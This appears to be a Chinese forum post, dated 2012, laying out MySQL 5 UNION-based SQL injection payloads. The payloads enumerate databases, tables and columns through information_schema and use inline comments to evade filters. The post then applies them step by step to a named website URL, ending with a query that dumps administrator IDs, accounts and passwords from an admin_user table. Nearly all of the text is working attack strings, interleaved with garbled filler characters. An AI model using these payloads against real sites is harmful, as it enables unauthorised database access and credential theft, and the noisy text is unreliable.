查库' _) R1 x. X- B# `+ x
4 ]; R! F: U0 C/ J6 O4 X4 ]& M
id=-1 union select 1,..,SCHEMA_NAME,n from/**/information_schema.SCHEMATA limit 1,1/*
; I4 i5 V& k q* E; G3 X" `; X! H( j. m3 h
查表
" f% g/ G# l4 @7 V2 T( J* y
1 w+ k! q3 S1 Sid=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
% D! y1 |0 J/ o; [/ u; B% s
6 s$ k+ d$ m9 i$ `4 w查段3 k8 Y2 w2 U, L
% }2 N: J* ~* H( P( D- Yid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
- ^. ^+ h6 X/ g* b9 D+ H. r( G5 J6 M/ s; ~. p4 w1 M+ Z
Q W6 u) t4 a& a4 jmysql5高级注入方法暴表+ \# G9 ^! E+ D; u5 L2 T
9 F- B u+ q% v( C2 y3 H
例子如下:' I b7 B0 f3 Q- H
; w. r( I/ W- T: g) g. M1.爆表6 s- _, O1 j6 `4 p# K- D# G
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/* (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
0 J" q f* I2 X' H3 k1 z2 y2 ?这样爆到第4个时出现了admin_user表。% R( g' y3 x5 | E
' e8 r% I1 }8 z2 M6 U2.暴字段7 L/ D/ @9 r+ ^: M0 { |$ O
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
9 I( l6 N% o1 j p, s7 ~* `& w+ R/ h/ u3 R v- d
- m+ |4 J( E/ q2 [0 ^
3.爆密码
- z; j+ X, B$ f' i: [, \7 fhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
/ Y& T0 u1 N; V' r: D# t m# A4 G& |' V; b1 Y# ?' X$ l3 s- f
9 V9 F: b) }' y- @1 s
|
发表于 2012-9-13 16:29:37
收藏
支持
反对